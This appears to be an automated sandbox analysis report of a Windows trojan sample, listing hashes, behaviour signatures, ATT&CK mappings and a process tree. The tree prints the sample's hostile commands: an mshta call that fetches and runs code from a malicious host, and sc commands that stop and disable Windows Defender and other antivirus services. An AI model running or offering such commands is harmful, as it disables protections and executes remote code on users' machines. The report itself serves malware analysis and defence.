Overview

overview

10

Static

static

3

0a8ed08576...18.exe

windows7-x64

7

0a8ed08576...18.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    57s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24/06/2024, 19:57

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    0a8ed0857614e31fc3f1591613098774_JaffaCakes118.exe

  • Size

    2.0MB

  • MD5

    0a8ed0857614e31fc3f1591613098774

  • SHA1

    bda66f3ab255fac2243eaec10d11a65b8bb1ef23

  • SHA256

    745331f5d9ab3bf71f3b664646f47ebefd393e9ded6c429234dde7ccf0c89484

  • SHA512

    b68cb1728faa22ecff305912f531fa4acde72627092296c3ff04b794d4b4b82e5e3887df60ea5f637560733511f2e8372114a961f7e224e7c638fd604d8cb75d

  • SSDEEP

    49152:DyqYSSqIgP6GuJfipmF0hIdppCIsq6nemQ4YvAjJ1iFh3:DEqDiZfM+dpvsumUvAjriFh3

Score
10/10
evasionexecutionpersistencetrojan

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://galaint.updatesecstorage.info/?0=143&1=4&2=1&3=50&4=i&5=9200&6=6&7=2&8=919041&9=1033&10=0&11=0000&12=axhdtuowyv&14=1

Signatures

  • Disables service(s) 3 TTPs
    evasionexecution
  • UAC bypass 3 TTPs 3 IoCs
    evasiontrojan
  • Disables taskbar notifications via registry modification
    evasion
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 64 IoCs
    persistence
  • Stops running service(s) 4 TTPs
    evasionexecution
  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 3 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
    evasiontrojan
  • Drops file in System32 directory 3 IoCs
  • Launches sc.exe 8 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies Internet Explorer settings 1 TTPs 2 IoCs
    adwarespyware
  • Modifies registry class 27 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of SendNotifyMessage 4 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs
  • System policy modification 1 TTPs 4 IoCs
    evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\0a8ed0857614e31fc3f1591613098774_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\0a8ed0857614e31fc3f1591613098774_JaffaCakes118.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4876
    • C:\Users\Admin\AppData\Local\Temp\RarSFX0\8yz7x9m2p02e35r.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX0\8yz7x9m2p02e35r.exe" -e -p3w59261h16xc94p
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:2528
      • C:\Users\Admin\AppData\Local\Temp\RarSFX1\trew110gx7i4b68.exe
        "C:\Users\Admin\AppData\Local\Temp\RarSFX1\trew110gx7i4b68.exe"
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Modifies registry class
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:4500
        • C:\Users\Admin\AppData\Roaming\Protector-lmpl.exe
          C:\Users\Admin\AppData\Roaming\Protector-lmpl.exe
          4⤵
          • UAC bypass
          • Event Triggered Execution: Image File Execution Options Injection
          • Executes dropped EXE
          • Adds Run key to start application
          • Checks whether UAC is enabled
          • Drops file in System32 directory
          • Modifies Internet Explorer settings
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          • System policy modification
          PID:2568
          • C:\Windows\SysWOW64\mshta.exe
            mshta.exe "http://galaint.updatesecstorage.info/?0=143&1=4&2=1&3=50&4=i&5=9200&6=6&7=2&8=919041&9=1033&10=0&11=0000&12=axhdtuowyv&14=1"
            5⤵
              PID:208
            • C:\Windows\SysWOW64\sc.exe
              sc stop WinDefend
              5⤵
              • Launches sc.exe
              PID:4048
            • C:\Windows\SysWOW64\sc.exe
              sc config WinDefend start= disabled
              5⤵
              • Launches sc.exe
              PID:4732
            • C:\Windows\SysWOW64\sc.exe
              sc stop msmpsvc
              5⤵
              • Launches sc.exe
              PID:4840
            • C:\Windows\SysWOW64\sc.exe
              sc config msmpsvc start= disabled
              5⤵
              • Launches sc.exe
              PID:432
            • C:\Windows\SysWOW64\sc.exe
              sc config ekrn start= disabled
              5⤵
              • Launches sc.exe
              PID:4972
            • C:\Windows\SysWOW64\sc.exe
              sc stop AntiVirService
              5⤵
              • Launches sc.exe
              PID:2744
            • C:\Windows\SysWOW64\sc.exe
              sc config AntiVirService start= disabled
              5⤵
              • Launches sc.exe
              PID:1336
            • C:\Windows\SysWOW64\sc.exe
              sc config AntiVirSchedulerService start= disabled
              5⤵
              • Launches sc.exe
              PID:2812
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\RarSFX1\TREW11~1.EXE" >> NUL
            4⤵
              PID:4884

      Network

      MITRE ATT&CK Enterprise v15

      Reconnaissance

      Resource Development

      Initial Access

      Execution

      System Services

      2
      T1569

      Service Execution

      2
      T1569.002

      Persistence

      Boot or Logon Autostart Execution

      1
      T1547

      Registry Run Keys / Startup Folder

      1
      T1547.001

      Create or Modify System Process

      2
      T1543

      Windows Service

      2
      T1543.003

      Event Triggered Execution

      1
      T1546

      Image File Execution Options Injection

      1
      T1546.012

      Privilege Escalation

      Abuse Elevation Control Mechanism

      1
      T1548

      Bypass User Account Control

      1
      T1548.002

      Boot or Logon Autostart Execution

      1
      T1547

      Registry Run Keys / Startup Folder

      1
      T1547.001

      Create or Modify System Process

      2
      T1543

      Windows Service

      2
      T1543.003

      Event Triggered Execution

      1
      T1546

      Image File Execution Options Injection

      1
      T1546.012

      Defense Evasion

      Abuse Elevation Control Mechanism

      1
      T1548

      Bypass User Account Control

      1
      T1548.002

      Impair Defenses

      2
      T1562

      Disable or Modify Tools

      1
      T1562.001

      Modify Registry

      4
      T1112

      Credential Access

      Discovery

      Query Registry

      1
      T1012

      System Information Discovery

      3
      T1082

      Lateral Movement

      Collection

      Command and Control

      Exfiltration

      Impact

      Service Stop

      2
      T1489

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\RarSFX0\8yz7x9m2p02e35r.exe
        Filesize

        1.9MB

        MD5

        d6eafe971e3f6bc582513666eb3d5583

        SHA1

        2ea4b554b1168a9afa1acb4fe4b99e6bb7eb0c20

        SHA256

        a716bcbbcb79583d0c99597962438124a35c156855c9e899ae1082e5992fcb3c

        SHA512

        c1cd1df8f3157aa6402db8ac2c6052d2cb3b8a5da2221df751591e6414617c8d37f99a670e169a5b22af6adf4f2a7b79ad6fd45f5f9c0cb0a8107d872c85c8b4

        Download Submit

      • C:\Users\Admin\AppData\Local\Temp\RarSFX1\trew110gx7i4b68.exe
        Filesize

        1.9MB

        MD5

        ffb90a6fe19f8d5df94673aaabf48be1

        SHA1

        f1141dc2879463201710aaba6832736b95b3cbaf

        SHA256

        d8fea28ab53dac762ce3a807009aab00d48435108cb59cf527c076b607f58f6a

        SHA512

        61b87e68f767cc83b5bb5efff75ee893bcacbf91b626b0e04ce6d3f975393c4d38116102b248f8cb91ddddce58a550db8760fe10011e2e0e4581cfad03a6e627

        Download Submit

      • memory/2568-38-0x0000000000400000-0x000000000081D000-memory.dmp

        Filesize

        4.1MB

        Download

      • memory/2568-31-0x0000000000400000-0x000000000081D000-memory.dmp

        Filesize

        4.1MB

        Download

      • memory/2568-33-0x0000000000400000-0x000000000081D000-memory.dmp

        Filesize

        4.1MB

        Download

      • memory/2568-34-0x0000000000400000-0x000000000081D000-memory.dmp

        Filesize

        4.1MB

        Download

      • memory/2568-35-0x0000000000400000-0x000000000081D000-memory.dmp

        Filesize

        4.1MB

        Download

      • memory/2568-36-0x0000000000400000-0x000000000081D000-memory.dmp

        Filesize

        4.1MB

        Download

      • memory/2568-39-0x0000000000400000-0x000000000081D000-memory.dmp

        Filesize

        4.1MB

        Download

      • memory/2568-40-0x0000000000400000-0x000000000081D000-memory.dmp

        Filesize

        4.1MB

        Download

      • memory/2568-41-0x0000000000400000-0x000000000081D000-memory.dmp

        Filesize

        4.1MB

        Download

      • memory/2568-43-0x0000000000400000-0x000000000081D000-memory.dmp

        Filesize

        4.1MB

        Download

      • memory/4500-27-0x0000000000400000-0x000000000081D000-memory.dmp

        Filesize

        4.1MB

        Download

      • memory/4500-21-0x0000000000400000-0x000000000081D000-memory.dmp

        Filesize

        4.1MB

        Download